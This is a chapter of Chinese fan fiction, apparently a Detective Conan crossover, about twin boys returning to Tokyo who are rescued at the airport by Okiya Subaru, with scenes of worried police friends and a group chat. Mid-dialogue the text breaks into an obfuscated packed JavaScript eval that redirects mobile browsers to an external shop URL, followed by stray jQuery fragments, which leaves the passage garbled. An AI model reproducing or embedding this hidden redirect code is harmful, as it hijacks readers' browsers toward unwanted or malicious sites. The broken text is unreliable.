-

    东京机场

    去法国转悠一圈的月野双子时隔一年,回到了日本。

    月野奈澄一手拉着行李箱一手牵着自家弟弟顺着人流慢吞吞的往外走。

    月野青淮深灰色的眸子没有完全聚焦,视线落在半空,像一只精致没有生气的人偶,只是顺从着月野奈澄的力道,被动的往前迈步。

    周围的人看见他们那头近白的粉发要么怜惜要么厌恶,不约而同的都选择远离。

    早就习惯陌生人反应的两人没有给周围人过多的反应,自顾自的走一会停一会。

    “是阵平酱来接我们吗?”

    月野青淮弯腰将整个人的重量靠在月野奈澄的手臂上,长发扫过两人交叠的手和银镯,懒散的话语散在空气里。

    声音偏小,但月野奈澄完整的听见了。

    “是阵平哥来接,研二哥有事,不过回家就可以见到了。”

    “唔。”只简单吐出几个字节当作回应,月野青淮放松的任由自家哥哥扶住自己和整理头发。

    月野青淮的视线落实在月野奈澄身后,远处几种颜色拼接而成的色块不断靠近,“那边,有个人,冲过来了。”

    手上...拿着的是刀?

    月野奈澄将自家弟弟的话在脑子里过了一遍,远处的尖叫声和警察维持秩序的声音慢慢传过来。

    都不用回头,他都可以猜到冲他们跑过来的是什么东西。

    毕竟,这可是日本特产啊。

    怒火升起又缓慢落下,月野奈澄控制住了自己的情绪。

    他转身挡在月野青淮面前,手臂瞬间绷紧,决定那边的东西一旦打算拿他们两个当作人质,他就用行李箱给他脑袋开瓢。

    这算过度防卫吗?月野奈澄漫不经心的想,希望这位罪犯先生对危险感知的能力强一点吧。

    而在其他人的视角,像是没有感知到危险,周身空无一人的两个少年无知无觉的站在那里。

    拼死拼活才逃出警察包围圈的男人看见他们眼前一亮,立马加速往那个方向冲。

    几步远的距离,所有人眼看这两个少年已经没办法躲掉了。

    “砰!”

    安全!

    倒在地上的是那个罪犯!

    冲矢昴冷冷的看了一眼被自己一脚踢到两个少年脚边的男人,隐晦的观察一下月野兄弟的脸色,见他们只是脸色白了一点没有被吓狠,终于放弃了补刀再踩一脚的想法。

    “你们没事吧?”

    低哑轻柔的嗓音从高大的粉发男人嘴里吐出,是担忧和关切,两个少年也真诚的道谢,画面很美好。

    三人脚边是被一脚踹飞,蜷缩着身体,因为脸部摩擦地面满脸是血,时不时抽搐和有气无力呜咽几下的男人,有点煞风景。

    警察上前,所有人被一起打包送到了警视厅。

    两个差点成为受害者的未成年受到了小心翼翼的对待。

    或许是看出他们的恐惧?警察们安抚过后贴心的没有靠他们太近。

    ——

    伊达航正整理着今天的报告,抬头就看见熟悉的配色从眼前飘过。

    ?

    近白的粉色+双生子?

    这不是松田的两个小邻居吗?

    伊达航立马抄起手机,给松田阵平发了一条消息,他记得今天松田阵平请假了,两个小邻居进警视厅的事情他可能不知道。

    月野奈澄和月野青淮自然感受到有人在看他们,月野青淮捏了捏月野奈澄的手,想知道是谁。

    月野奈澄接收到自家弟弟的好奇,回头看了一眼,是一个自己不认识的高大警官,见他看过去还给他递过来一个爽朗的笑容。

    ‘不认识呢。’

    看见月野奈澄摇头月野青淮也就不再管,大概是无关紧要的人。

    伊达航担心松田阵平着急,拿起手机戳了几条信息给他发了过去。

    他幽幽地叹了一口气,不可抑制的想起了松田阵平的病。

    今年,已经是萩原研二去世的第六年了。

    萩原研二去世的那一年,松田阵平肉眼可见的枯败,只留下了一具想要为幼驯染报仇的躯壳。

    伊达航可以毫不犹疑的说,那场爆炸死去的是两个人。

    是什么时候发现松田阵平病了呢?

    是萩原研二死去的第二年,那年得空,伊达航陪完娜塔莉和双方父母后还空出来几天,他就想起了还在东京的空巢同期。

    没来的及通知松田阵平,他到东京后就直接打车去警视厅,等来的是松田阵平面无表情的从他面前路过。

    在意识到松田阵平可能把他这张脸遗忘了时,他的心脏开始抽抽的疼。

    怎么会呢?

    是什么时候开始的呢?是一两天前?还是在萩原研二死后?

    松田一个人熬了多久?

    伊达航大脑很乱,不明白的问题一个接着一个冒出来。

    不管心里有多难受,他利索的脱了那身可能被记住的外套,在松田阵平远远路过时率先打了一个招呼。

    松田阵平选择隐瞒,而他也没有拆穿。

    此后几年,伊达航一直致力于拉松田阵平去体检还有让心理医生伪装朋友去跟松田阵平沟通,只不过效果聊胜于无。

    倒不是松田阵平的病有多难治,而是他不管怎么检查,结果都是不论身体还是心理都比大多数人都健康的多。

    尤其是身体,真的不愧是警校大猩猩,并且在毕业之后身体素质又上身了一个等级。

    鬼知道伊达航在医院拿到那张直逼人类极限的检查表时有多迷茫。

    所以果然是心理问题吧,是松田阵平心防太高所以医生也束手无策吧。

    只能靠陪伴啊。

    警官先生对抓捕犯罪分子是手拿把掐,可对于大猩猩般同期的心理问题,他实在是束手无策。

    得幸,在前几年,伊达航在与同期闲聊时得知了松田阵平的两个小邻居的存在,至少他的病在那两个小邻居的陪伴下没有恶化。

    在伊达航看来事实就是这样的。

    而去年,伊达航从北海道调职回到东京,就看见肉眼可见暴躁?的松田阵平,一问才知道,两个小朋友回家住了,要一年才回来。

    伊达航狠狠的松了一口气,在松田阵平的描述下,他对两个小孩很有好感并且一直都期待与他们见面,并不希望他们出事。

    而现在,伊达航要去看一眼两个小孩是被什么案件卷入了。

    月野奈澄怯怯?的看了一眼周围一圈警察,感受着他们时不时投过来的善意的视线,将月野青淮挡的死死的,只留下一只捏着他衣角的手露出来。

    冲矢昴做完笔录出来就看见这一幕,被围住的两个人极其扎眼,也...极其可怜,像是在陌生环境中惴惴不安的幼兽。

    好在警察们也意识到两个少年的恐惧,没再给他们造成压力。

    “哥哥,感觉他们很担心我们。”月野青淮靠在自家哥哥身上,视线落在脚边,小声的跟他聊天。

    “青啊,他们在可怜我们啦,这是正常人类都会产生的情感啦,他们都是一些无关紧要的人而已,你没必要在意。”

    月野奈澄说的温柔,浅粉色的短发稍稍偏了一点就跟月野青淮那头长发混在一起,两个人看起来亲密无间。

    “知道啦。”

    月野青淮回答后身前就投下一大片阴影,是走到他们身边的冲矢昴。

    “真的很感谢您,这位先生,请务必收下这个。”月野奈澄递过去一张月野集团的卡。

    他细细的观察着冲矢昴那张让他感到些许奇怪的脸,再次将卡往前递了递。

    赤井秀一真的没想到能在机场遇见这两个令他印象深刻的少年,当年在卧底时期两个跟在他身后喊过他哥哥的小孩。

    “不用了,只是举手之劳

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17926444|213543||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    。”

    这个人真的很奇怪,对他们的情绪很奇怪,不像是普通的陌生人,月野青淮努力想要辨别那张脸是不是在哪里见过,然而并没有什么结果。

    冲矢昴看着眼巴巴盯着他的两个小孩在心里默默叹了一口气,还是那么执着吗?

    “那请给我们联系方式吧,请在有空的时候联系我们,我们请您吃饭。”在这位救命恩人面前月野奈澄的反应可以称得上纯良。

    “好。”不好再拒绝的冲矢昴应下,谨记自己和他们还是陌生人,打个招呼就离开了。

    “哥哥你还记得我们的监护人是谁啊?”月野青淮抬头望着天花板,整个人像是一颗焉掉的小白菜。

    是阵平哥...

    “哥你是笨蛋吗?”我们和阵平酱没有任何法律意义上的关系啊。

    焉掉的白菜外加一颗,月野奈澄可怜巴巴的为自己辩解,“明明你一开始也没有反应过来嘛,把刚刚那句话撤回好不好?”

    周围没有人,两个人反而更加自在。

    “撒娇达咩。”话没说完就被一把抱住,两个人有着半个脑袋的高差,被抱习惯的月野青淮早就猜到了,自然的放松往旁边靠。

    兄长怀抱极其舒适,这种从灵魂里都透出来的满足让月野青淮变得懒洋洋的。

    “累了吗?”月野奈澄也不闹他了,边说边拿起手机给松田阵平发消息。

    “没。”这是实话,甚至月野青淮觉得自己更加精神了。

    Pinions of Falling Dusk(坠落黄昏的羽翼)(7)

    这是他们几个为了方便沟通特意搞出来的群聊。

    乌理Uri(月野奈澄):阵平哥我们在警察局!

    米耶Mie(松田阵平):。班长已经跟我说了,马上就到,别乱跑!

    拉斐Rafe(萩原研二):?

    拉斐Rafe(萩原研二):遇到坏人了吗!?

    拉斐Rafe(萩原研二):过几天我们去寺庙看看吧,也有一年多没去了。

    阿兹Azu(夏油杰):顺便去野餐?

    雷米Remi(灰原雄):举手同意.jpg

    拉古Ragu(织田作之助):那可以吃辣咖喱吗?

    手机叮叮咚咚的响着,松田阵平没去管,给车加速打算先把那两个小孩接回家再说。

    既然监护人的电话不是打给松田阵平,那打给了谁呢?反正不可能是监护人本人,毕竟他们的父亲现在大概还在沉睡呢。

    “是月野家的某个人吧,而最有可能的是运。”

    “是运吧。”

    月野奈澄翻出另一部手机,果然看见了月野运在几个小时前发过来询问他们要不要来接他们的消息。

    他冲着月野青淮晃了晃手机,随意的给那边回了一条消息。

    “青猜对了呢,研二哥他们说过几天要去寺庙还有野餐。”

    “知道了。”

    ——

    琴酒甩给伏特加一个眼神,让他去提醒一下正在沙发上傻笑的密斯特尔。

    几个月前密斯特尔刚从法国调回来,今天是日本成员第一次见这位一年前被琴酒亲自招进来的新人。

    “密斯特尔,别玩手机了,等回安全屋再玩。”此时的伏特加就像一个慈父,语气里的温和看的琴酒眉心直跳。

    萩原研二回头,紫罗兰色的眸子慢悠悠的移过来,视线缓缓落在伏特加的那双墨镜之上,又看了一眼琴酒那头银白色的长发。

    像是确定了什么,缓缓露出甜腻的笑容,堪称乖巧的将手机收起来。

    伏特加被他的视线激起了一身鸡皮疙瘩,直到他笑了那股心惊才慢慢压了下去。

    嗯,刚刚肯定看错了,密斯特尔一定是个好孩子对吧?

    全酒吧的人都在关注这边,看见密斯特尔阴湿的笑容都在心里暗暗骂了句变态,连忙转移视线。